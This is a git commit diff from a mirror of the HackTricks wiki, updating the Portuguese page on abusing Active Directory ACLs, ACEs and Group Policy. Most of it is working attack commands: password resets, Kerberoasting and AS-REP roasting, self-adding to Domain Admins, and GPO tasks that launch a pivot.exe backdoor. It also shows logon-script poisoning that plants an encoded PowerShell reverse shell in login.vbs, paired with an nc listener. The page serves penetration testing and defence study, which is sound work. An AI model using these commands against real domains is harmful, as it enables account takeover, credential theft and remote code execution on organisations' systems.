mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
Translator
parent
ed88fa77b3
commit
e6b0a12842
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Abusando das ACLs/ACEs do Active Directory
|
||||
# Abusing Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Esta página é principalmente um resumo das técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para mais detalhes, consulte os artigos originais.**
|
||||
**Esta página é principalmente um resumo das técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para mais detalhes, confira os artigos originais.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,47 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Direitos sobre Usuário**
|
||||
## **GenericAll Rights on User**
|
||||
|
||||
Este privilégio concede a um atacante controle total sobre uma conta de usuário alvo. Uma vez que os direitos `GenericAll` sejam confirmados usando o comando `Get-ObjectAcl`, um atacante pode:
|
||||
Esse privilégio concede a um atacante controle total sobre uma conta de usuário alvo. Uma vez que os direitos `GenericAll` sejam confirmados usando o comando `Get-ObjectAcl`, um atacante pode:
|
||||
|
||||
- **Alterar a Senha do Alvo**: Usando `net user <username> <password> /domain`, o atacante pode redefinir a senha do usuário.
|
||||
- **Targeted Kerberoasting**: Atribua um SPN à conta do usuário para torná-la kerberoastable; em seguida use Rubeus e targetedKerberoast.py para extrair e tentar crackar os hashes do ticket-granting ticket (TGT).
|
||||
- **Alterar a senha do usuário alvo**: Usando `net user <username> <password> /domain`, o atacante pode redefinir a senha do usuário.
|
||||
- No Linux, você pode fazer o mesmo via SAMR com Samba `net rpc`:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Se a conta estiver desativada, limpe a flag UAC**: `GenericAll` permite editar `userAccountControl`. No Linux, BloodyAD pode remover a flag `ACCOUNTDISABLE`:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Atribua um SPN à conta do usuário para torná-la kerberoastable, então use Rubeus e targetedKerberoast.py para extrair e tentar quebrar os hashes do ticket-granting ticket (TGT).
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Desative a pre-authentication do usuário, tornando sua conta vulnerável ao ASREPRoasting.
|
||||
- **ASREPRoasting direcionado**: Desative a pré-autenticação para o usuário, tornando sua conta vulnerável ao ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **Direitos GenericAll em um Grupo**
|
||||
- **Shadow Credentials / Key Credential Link**: Com `GenericAll` em um usuário, você pode adicionar uma credencial baseada em certificado e autenticar-se como esse usuário sem alterar sua senha. Veja:
|
||||
|
||||
Esse privilégio permite que um atacante manipule os membros de um grupo se ele tiver direitos `GenericAll` em um grupo como `Domain Admins`. Depois de identificar o nome distinto do grupo com `Get-NetGroup`, o atacante pode:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
- **Adicionar-se ao grupo Domain Admins**: Isso pode ser feito via comandos diretos ou usando módulos como Active Directory ou PowerSploit.
|
||||
## **Direitos GenericAll em Grupo**
|
||||
|
||||
Este privilégio permite que um atacante manipule os membros de um grupo se ele tiver direitos `GenericAll` em um grupo como `Domain Admins`. Após identificar o nome distinto (distinguished name) do grupo com `Get-NetGroup`, o atacante pode:
|
||||
|
||||
- **Adicionar-se ao grupo `Domain Admins`**: Isso pode ser feito via comandos diretos ou usando módulos como Active Directory ou PowerSploit.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- A partir de Linux você também pode usar BloodyAD para se adicionar a grupos arbitrários quando tiver GenericAll/Write membership sobre eles. Se o grupo alvo estiver aninhado em “Remote Management Users”, você ganhará imediatamente acesso WinRM em hosts que respeitam esse grupo:
|
||||
- A partir do Linux você também pode usar BloodyAD para se adicionar a grupos arbitrários quando você possuir GenericAll/Write membership sobre eles. Se o grupo alvo estiver aninhado em “Remote Management Users”, você ganhará imediatamente acesso WinRM em hosts que respeitem esse grupo:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -49,32 +64,32 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
Ter esses privilégios em um objeto de computador ou em uma conta de usuário permite:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Permite assumir o controle de um objeto de computador.
|
||||
- **Shadow Credentials**: Use esta técnica para se passar por um computador ou conta de usuário explorando os privilégios para criar shadow credentials.
|
||||
- **Shadow Credentials**: Use esta técnica para se passar por uma conta de computador ou usuário explorando os privilégios para criar Shadow Credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Se um usuário tiver direitos de `WriteProperty` sobre todos os objetos de um grupo específico (por exemplo, `Domain Admins`), eles podem:
|
||||
Se um usuário tem direitos `WriteProperty` em todos os objetos de um grupo específico (por exemplo, `Domain Admins`), ele pode:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: Alcançável combinando os comandos `net user` e `Add-NetGroupUser`, este método permite escalada de privilégios dentro do domínio.
|
||||
- **Adicionar-se ao grupo Domain Admins**: Alcançável combinando os comandos `net user` e `Add-NetGroupUser`, esse método permite escalonamento de privilégios dentro do domínio.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
## **Self (Self-Membership) em Grupo**
|
||||
|
||||
Esse privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam diretamente a associação de membros ao grupo. A seguinte sequência de comandos permite a auto-adição:
|
||||
Este privilégio permite que atacantes se adicionem a grupos específicos, como `Domain Admins`, por meio de comandos que manipulam diretamente a associação de membros de um grupo. A sequência de comandos a seguir permite a autoadição:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
## **WriteProperty (Autoassociação)**
|
||||
|
||||
Um privilégio semelhante, este permite que atacantes se adicionem diretamente a grupos ao modificar as propriedades do grupo se tiverem o direito `WriteProperty` nesses grupos. A confirmação e a execução deste privilégio são realizadas com:
|
||||
Um privilégio semelhante, este permite que atacantes se adicionem diretamente a grupos modificando as propriedades do grupo se tiverem o direito `WriteProperty` nesses grupos. A confirmação e execução desse privilégio são realizadas com:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Ter o `ExtendedRight` sobre um usuário para `User-Force-Change-Password` permite redefinir a senha sem conhecer a senha atual. A verificação desse direito e sua exploração podem ser feitas via PowerShell ou ferramentas de linha de comando alternativas, oferecendo vários métodos para redefinir a senha de um usuário, incluindo sessões interativas e comandos de uma linha para ambientes não interativos. Os comandos variam desde invocações simples do PowerShell até o uso de `rpcclient` no Linux, demonstrando a versatilidade dos vetores de ataque.
|
||||
Possuir o `ExtendedRight` em um usuário para `User-Force-Change-Password` permite redefinir senhas sem conhecer a senha atual. A verificação desse direito e sua exploração podem ser feitas via PowerShell ou por meio de ferramentas alternativas de linha de comando, oferecendo vários métodos para redefinir a senha de um usuário, incluindo sessões interativas e one-liners para ambientes não interativos. Os comandos variam desde invocações simples do PowerShell até o uso de `rpcclient` em Linux, demonstrando a versatilidade dos vetores de ataque.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,9 +100,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner em Grupo**
|
||||
## **WriteOwner em Group**
|
||||
|
||||
Se um atacante descobrir que possui direitos `WriteOwner` sobre um grupo, ele pode alterar a propriedade do grupo para si mesmo. Isso é particularmente impactante quando o grupo em questão é `Domain Admins`, pois alterar o proprietário permite maior controle sobre os atributos e a associação do grupo. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e então usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou por nome.
|
||||
Se um atacante descobrir que possui direitos `WriteOwner` sobre um grupo, ele pode alterar a propriedade do grupo para si mesmo. Isso é particularmente impactante quando o grupo em questão é `Domain Admins`, pois alterar o proprietário permite um controle mais amplo sobre os atributos do grupo e seus membros. O processo envolve identificar o objeto correto via `Get-ObjectAcl` e então usar `Set-DomainObjectOwner` para modificar o proprietário, seja por SID ou por nome.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
@ -95,13 +110,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
|
||||
Esta permissão permite que um atacante modifique propriedades de usuário. Especificamente, com acesso `GenericWrite`, o atacante pode alterar o logon script path de um usuário para executar um script malicioso quando o usuário fizer logon. Isso é conseguido usando o comando `Set-ADObject` para atualizar a propriedade `scriptpath` do usuário alvo para apontar para o script do atacante.
|
||||
Esta permissão permite que um atacante modifique propriedades do usuário. Especificamente, com acesso `GenericWrite`, o atacante pode alterar o caminho do script de logon de um usuário para executar um script malicioso quando o usuário fizer logon. Isso é feito usando o comando `Set-ADObject` para atualizar a propriedade `scriptpath` do usuário alvo para apontar para o script do atacante.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Com esse privilégio, atacantes podem manipular a associação a grupos, como adicionar a si mesmos ou outros usuários a grupos específicos. Esse processo envolve criar um objeto de credencial, usá-lo para adicionar ou remover usuários de um grupo e verificar as alterações de associação com comandos PowerShell.
|
||||
Com esse privilégio, atacantes podem manipular a associação a grupos, como adicionar a si mesmos ou outros usuários a grupos específicos. Esse processo envolve criar um objeto de credencial, usá-lo para adicionar ou remover usuários de um grupo e verificar as mudanças de associação com comandos do PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- A partir do Linux, Samba `net` pode adicionar/remover membros quando você possuir `GenericWrite` no grupo (útil quando PowerShell/RSAT não estão disponíveis):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Possuir um objeto do AD e ter privilégios `WriteDACL` sobre ele permite que um atacante se conceda privilégios `GenericAll` sobre o objeto. Isso é realizado por meio da manipulação ADSI, permitindo controle total sobre o objeto e a capacidade de modificar sua filiação a grupos. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo Active Directory.
|
||||
Possuir um objeto AD e ter privilégios `WriteDACL` sobre ele permite que um atacante conceda a si mesmo privilégios `GenericAll` sobre o objeto. Isso é realizado através da manipulação ADSI, permitindo controle total sobre o objeto e a capacidade de modificar suas associações de grupo. Apesar disso, existem limitações ao tentar explorar esses privilégios usando os cmdlets `Set-Acl` / `Get-Acl` do módulo Active Directory.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +141,137 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
### WriteDACL/WriteOwner tomada rápida (PowerView)
|
||||
|
||||
Quando você tem `WriteOwner` e `WriteDacl` sobre uma conta de usuário ou conta de serviço, você pode tomar o controle total e redefinir a sua senha usando PowerView sem saber a senha antiga:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Notas:
|
||||
- Pode ser necessário primeiro alterar o proprietário para você mesmo se você tiver apenas `WriteOwner`:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Valide o acesso com qualquer protocolo (SMB/LDAP/RDP/WinRM) após a redefinição de senha.
|
||||
|
||||
## **Replicação no Domínio (DCSync)**
|
||||
|
||||
O ataque DCSync aproveita permissões de replicação específicas no domínio para se passar por um Domain Controller e sincronizar dados, incluindo credenciais de usuário. Esta técnica poderosa requer permissões como `DS-Replication-Get-Changes`, permitindo que atacantes extraiam informações sensíveis do ambiente AD sem acesso direto a um Domain Controller. [**Saiba mais sobre o ataque DCSync aqui.**](../dcsync.md)
|
||||
O ataque DCSync aproveita permissões de replicação específicas no domínio para mimetizar um Domain Controller e sincronizar dados, incluindo credenciais de usuário. Essa técnica poderosa requer permissões como `DS-Replication-Get-Changes`, permitindo que atacantes extraiam informações sensíveis do ambiente AD sem acesso direto a um Controlador de Domínio. [**Saiba mais sobre o ataque DCSync aqui.**](../dcsync.md)
|
||||
|
||||
## Delegação de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Delegação de GPO
|
||||
### GPO Delegation
|
||||
|
||||
O acesso delegado para gerenciar Group Policy Objects (GPOs) pode representar riscos significativos de segurança. Por exemplo, se um usuário como `offense\spotless` tiver direitos delegados de gerenciamento de GPO, ele pode possuir privilégios como **WriteProperty**, **WriteDacl**, e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, como identificado usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
O acesso delegado para gerenciar Group Policy Objects (GPOs) pode representar riscos de segurança significativos. Por exemplo, se um usuário como `offense\spotless` tiver direitos delegados de gerenciamento de GPO, ele pode possuir privilégios como **WriteProperty**, **WriteDacl**, e **WriteOwner**. Essas permissões podem ser abusadas para fins maliciosos, conforme identificado usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerar Permissões de GPO
|
||||
### Enumerate GPO Permissions
|
||||
|
||||
Para identificar GPOs mal configurados, os cmdlets do PowerSploit podem ser encadeados. Isso permite descobrir quais GPOs um usuário específico tem permissão para gerenciar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Para identificar GPOs mal configurados, os cmdlets do PowerSploit podem ser encadeados. Isso permite a descoberta de GPOs que um usuário específico tem permissão para gerenciar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computadores com uma Política Aplicada**: É possível resolver quais computadores uma GPO específica se aplica, ajudando a entender o escopo do impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Computers with a Given Policy Applied**: É possível resolver em quais computadores uma GPO específica é aplicada, ajudando a entender o escopo do possível impacto. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Políticas Aplicadas a um Computador**: Para ver quais políticas são aplicadas a um computador específico, comandos como `Get-DomainGPO` podem ser utilizados.
|
||||
**Policies Applied to a Given Computer**: Para ver quais políticas são aplicadas a um computador em particular, comandos como `Get-DomainGPO` podem ser utilizados.
|
||||
|
||||
**OUs com uma Política Aplicada**: Identificar unidades organizacionais (OUs) afetadas por uma determinada política pode ser feito usando `Get-DomainOU`.
|
||||
**OUs with a Given Policy Applied**: Identificar unidades organizacionais (OUs) afetadas por uma determinada política pode ser feito usando `Get-DomainOU`.
|
||||
|
||||
Você também pode usar a ferramenta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs e encontrar problemas nelas.
|
||||
|
||||
### Abuso de GPO - New-GPOImmediateTask
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
|
||||
GPOs mal configuradas podem ser exploradas para executar código, por exemplo, criando uma tarefa agendada imediata. Isso pode ser usado para adicionar um usuário ao grupo de administradores locais nas máquinas afetadas, elevando significativamente os privilégios:
|
||||
GPOs mal configuradas podem ser exploradas para executar código, por exemplo, criando uma tarefa agendada imediata. Isso pode ser feito para adicionar um usuário ao grupo de administradores locais nas máquinas afetadas, elevando significativamente privilégios:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
O GroupPolicy module, se instalado, permite criar e vincular novos GPOs, além de definir preferências, como valores do registro, para executar backdoors em computadores afetados. Este método requer que o GPO seja atualizado e que um usuário faça logon no computador para a execução:
|
||||
O GroupPolicy module, se instalado, permite a criação e vinculação de novos GPOs e a definição de preferências, como valores do registro para executar backdoors nos computadores afetados. Este método requer que o GPO seja atualizado e que um usuário faça logon no computador para execução:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse oferece um método para abusar de GPOs existentes, adicionando tarefas ou modificando configurações sem a necessidade de criar novos GPOs. Esta ferramenta requer a modificação de GPOs existentes ou o uso de ferramentas RSAT para criar novos antes de aplicar as alterações:
|
||||
SharpGPOAbuse oferece um método para abusar de GPOs existentes adicionando tarefas ou modificando configurações sem a necessidade de criar novos GPOs. Essa ferramenta requer a modificação de GPOs existentes ou o uso das ferramentas RSAT para criar novos antes de aplicar as alterações:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Forçar Atualização de Políticas
|
||||
### Forçar Atualização de Política
|
||||
|
||||
As atualizações de GPO normalmente ocorrem a cada ~90 minutos. Para acelerar esse processo, especialmente após aplicar uma alteração, o comando `gpupdate /force` pode ser usado no computador alvo para forçar uma atualização imediata das políticas. Esse comando garante que quaisquer modificações nas GPOs sejam aplicadas sem aguardar o próximo ciclo automático de atualização.
|
||||
As atualizações de GPO ocorrem tipicamente a cada ~90 minutos. Para acelerar esse processo, especialmente após implementar uma mudança, o comando `gpupdate /force` pode ser usado no computador-alvo para forçar uma atualização imediata de políticas. Esse comando garante que quaisquer modificações nas GPOs sejam aplicadas sem aguardar o próximo ciclo automático.
|
||||
|
||||
### Por Trás dos Bastidores
|
||||
### Por Trás do Capô
|
||||
|
||||
Ao inspecionar as Scheduled Tasks de uma GPO específica, como a `Misconfigured Policy`, é possível confirmar a adição de tarefas como `evilTask`. Essas tarefas são criadas por scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.
|
||||
Ao inspecionar os Scheduled Tasks de uma GPO específica, como a `Misconfigured Policy`, pode-se confirmar a adição de tarefas como `evilTask`. Essas tarefas são criadas por meio de scripts ou ferramentas de linha de comando com o objetivo de modificar o comportamento do sistema ou escalar privilégios.
|
||||
|
||||
A estrutura da tarefa, conforme mostrada no arquivo de configuração XML gerado por `New-GPOImmediateTask`, descreve os detalhes da scheduled task — incluindo o comando a ser executado e seus triggers. Esse arquivo representa como as scheduled tasks são definidas e gerenciadas dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação de políticas.
|
||||
A estrutura da tarefa, como mostrada no arquivo de configuração XML gerado por `New-GPOImmediateTask`, descreve as especificidades da tarefa agendada — incluindo o comando a ser executado e seus gatilhos. Esse arquivo representa como Scheduled Tasks são definidos e gerenciados dentro das GPOs, fornecendo um método para executar comandos ou scripts arbitrários como parte da aplicação de políticas.
|
||||
|
||||
### Usuários e Grupos
|
||||
|
||||
As GPOs também permitem a manipulação de usuários e membros de grupos em sistemas alvo. Editando diretamente os arquivos de policy de Users and Groups, atacantes podem adicionar usuários a grupos privilegiados, como o grupo local `administrators`. Isso é possível por meio da delegação de permissões de gerenciamento de GPO, que permite a modificação dos arquivos de policy para incluir novos usuários ou alterar associações de grupos.
|
||||
As GPOs também permitem a manipulação de usuários e das associações de grupos em sistemas-alvo. Ao editar diretamente os arquivos de política de Usuários e Grupos, atacantes podem adicionar usuários a grupos privilegiados, como o grupo local `administrators`. Isso é possível por meio da delegação de permissões de gerenciamento de GPO, que permite a modificação dos arquivos de política para incluir novos usuários ou alterar associações de grupo.
|
||||
|
||||
O arquivo de configuração XML para Users and Groups descreve como essas alterações são implementadas. Ao adicionar entradas a esse arquivo, usuários específicos podem receber privilégios elevados nos sistemas afetados. Esse método oferece uma abordagem direta para escalada de privilégios através da manipulação de GPOs.
|
||||
O arquivo de configuração XML de Usuários e Grupos descreve como essas mudanças são implementadas. Ao adicionar entradas a esse arquivo, usuários específicos podem receber privilégios elevados em sistemas afetados. Esse método oferece uma abordagem direta para escalada de privilégios por meio da manipulação de GPOs.
|
||||
|
||||
Além disso, métodos adicionais para executar código ou manter persistência, como aproveitar scripts de logon/logoff, modificar chaves de registro para autoruns, instalar software via .msi files ou editar configurações de serviços, também podem ser considerados. Essas técnicas fornecem várias vias para manter acesso e controlar sistemas alvo por meio do abuso de GPOs.
|
||||
Além disso, métodos adicionais para executar código ou manter persistência, como aproveitar logon/logoff scripts, modificar chaves de registro para autoruns, instalar software via arquivos .msi, ou editar configurações de serviços, também podem ser considerados. Essas técnicas fornecem várias vias para manter acesso e controlar sistemas-alvo por meio do abuso de GPOs.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Localizar scripts de logon
|
||||
- Inspecione atributos de usuário para um script de logon configurado:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Varrer compartilhamentos de domínio para expor atalhos ou referências a scripts:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Analisar arquivos `.lnk` para resolver destinos que apontem para SYSVOL/NETLOGON (truque útil para DFIR e para atacantes sem acesso direto a GPO):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound exibe o atributo `logonScript` (scriptPath) nos nós de usuário quando presente.
|
||||
|
||||
### Validar acesso de gravação (não confie nas listagens de compartilhamento)
|
||||
Ferramentas automatizadas podem mostrar SYSVOL/NETLOGON como somente leitura, mas as NTFS ACLs subjacentes ainda podem permitir gravações. Sempre teste:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
Se o tamanho do arquivo ou o mtime mudar, você tem write. Preserve os originais antes de modificar.
|
||||
|
||||
### Envenenar um script de logon VBScript para RCE
|
||||
Anexe um comando que execute um PowerShell reverse shell (gere a partir de revshells.com) e mantenha a lógica original para evitar quebrar a função de negócio:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Ouça no seu host e aguarde o próximo interactive logon:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Notas:
|
||||
- A execução ocorre sob o token do usuário logado (não SYSTEM). O escopo é o link de GPO (OU, site, domain) que aplica esse script.
|
||||
- Faça a limpeza restaurando o conteúdo e os carimbos de data/hora originais após o uso.
|
||||
|
||||
## Referências
|
||||
|
||||
@ -187,5 +282,9 @@ Além disso, métodos adicionais para executar código ou manter persistência,
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
